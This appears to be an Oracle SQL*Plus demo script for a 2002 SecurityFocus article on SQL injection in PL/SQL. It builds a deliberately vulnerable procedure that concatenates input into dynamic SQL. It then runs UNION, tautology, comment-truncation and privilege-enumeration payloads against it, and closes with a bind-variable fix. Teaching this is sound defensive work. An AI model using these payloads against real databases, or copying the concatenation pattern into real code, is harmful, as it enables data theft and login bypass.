--
-- sqlinject.sql
-- Pete Finnigan 
-- 15-nov-2002
--
-- example code for the SQL injection article for www.securityfocus.com
--
set serveroutput on size 1000000

spool sqlinject.lis

--
-- use a default user dbsnmp, of course any other user can be used, this user
-- is used here for simplicity to avoid creating a user. In a production system
-- first of all do not run tests like this one and do not use DBSNMP.
--
--connect dbsnmp/dbsnmp

--
-- create a sample table to use in the examples
-- 

drop table customers;
create table customers
(
	customer_forname	varchar2(30),
	customer_surname	varchar2(30),
	customer_phone		varchar2(30),
	customer_fax		varchar2(30),
	customer_type		number(10)
)
tablespace users;

--
-- insert three records to test with
--

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Fred',
	'Clark',
	'999444888',
	'999444889',
	3
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Bill',
	'Jones',
	'999555888',
	'999555889',
	2
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Jim',
	'Clark',
	'999777888',
	'999777889',
	1
)
/

--
-- create a sample PL/SQL procedure to SQL Inject
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			' from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- run the first test to see if a second SQL statement can simply be added to
-- the first.
--

exec get_cust('x'' select username from all_users where ''x''=''x');

--
-- try adding a ";" to delimit two SQL statements
--

exec get_cust('x'';select username from all_users where ''x''=''x');

--
-- now try a UNION, this should work
--

exec get_cust('x'' union select username from all_users where ''x''=''x');

--
-- try using a sub select to prove that it works
--

exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');

--
-- now add an "or" to show how existing SQL statements can be truncated to return
-- all of the records in a table - this is usefull for tricking application authentication.
--

exec get_cust('x'' or ''x''=''x');

--
-- modify the procedure to extend the dynamic SQL so that we can show how to truncate
-- additional parts of a "where clause".
--

create or replace procedure get_cust2 (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname='''||
				lv_surname||''' and customer_type=1';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
/

--
-- demonstration of using "--" comment characters to truncate a "where clause".
--

exec get_cust2('x'' or ''x''=''x'' --');

--
-- SQL to find all of the PL/SQL in the database
--

col owner for a15
col object_type for a30
col object_name for a30
select owner,object_type,object_name
from dba_objects
where object_type in('PACKAGE','FUNCTION','PROCEDURE');

--
-- demonstration of calling a "built in" PL/SQL procedure
--

exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');

--
-- demonstration of getting data from a second database using a database link.
-- This won't work on your system unless by some strange coincidence you have
-- a database link with the same name as mine. Change the link name to one
-- that exists in your database.
--

exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');

--
-- modify the get_cust procedure to select three columns so that we can demonstrate 
-- how to get configuration data from the database.
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_forname	customers.customer_forname%type;
	lv_surname	customers.customer_surname%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			',customer_forname,customer_surname '||
			'from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone,lv_forname,lv_surname;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone||':'||lv_forname||':'||lv_surname);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- sho that an error is returned if incorrect column types or an incorrect
-- number of columns is sent as part of a union statement
--


exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');

--
-- get all of the objects the user we are logged in as has been granted 
-- specific access to.
--

exec get_cust('x'' union select object_name,object_type,''x'' from user_objects where ''x''=''x');

--
-- get directly granted roles to this user.
--

exec get_cust('x'' union select granted_role,admin_option,default_role from user_role_privs where ''x''=''x');

--
-- get directly granted system privileges
--

exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_privs where ''x''=''x');

--
-- query to get all objects and their types that this user can see.
--

select count(*),object_type,owner
from all_objects
group by object_type,owner    
/

--
-- modify the procedure to use bind variables to demonstarte that they can
-- be used to protect against SQL Injection.
--

create or replace procedure get_cust_bind (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname=:surname';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt using lv_surname;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
sho err

--
-- demonstrate binds
--

exec get_cust_bind('Clark');

exec get_cust_bind('x'' union select username from all_users where ''x''=''x');


spool off
